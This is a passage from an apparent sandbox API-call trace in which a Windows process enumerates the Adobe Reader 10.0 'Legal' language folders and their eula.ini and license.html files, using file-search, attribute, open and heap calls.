ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0081.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.468] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.469] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f90 [0081.469] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f90) returned 1 [0081.469] NtClose (Handle=0x178) returned 0x0 [0081.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.470] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.470] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.470] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201e58 [0081.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265768 [0081.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.472] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201e78 [0081.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265870 [0081.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.473] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.473] GetLastError () returned 0x12 [0081.473] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.473] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.473] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.473] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.473] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.473] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.473] GetLastError () returned 0x12 [0081.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.473] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0081.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.474] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.474] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f90 [0081.475] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f90) returned 1 [0081.475] NtClose (Handle=0x168) returned 0x0 [0081.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.476] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.476] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.476] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201e98 [0081.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265978 [0081.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.477] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaedb, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201eb8 [0081.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265a80 [0081.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.479] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaedb, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.479] GetLastError () returned 0x12 [0081.479] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.479] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.479] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.479] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.479] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaedb, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.479] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaedb, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.479] GetLastError () returned 0x12 [0081.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.479] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.480] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0081.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.481] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f90 [0081.482] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f90) returned 1 [0081.482] NtClose (Handle=0x178) returned 0x0 [0081.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.483] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.483] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.483] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201ed8 [0081.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265b88 [0081.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.485] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe94c, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201ef8 [0081.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265c90 [0081.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.486] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 